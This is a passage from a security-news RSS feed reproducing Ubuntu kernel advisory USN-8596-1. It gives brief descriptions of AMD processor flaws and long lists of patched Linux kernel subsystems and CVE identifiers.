  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245,
CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279,
CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286,
CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291,
CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298,
CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310,
CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317,
CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324,
CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335,
CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343,
CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362,
CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386,
CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457,
CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468,
CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389,
CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430,
CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438,
CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
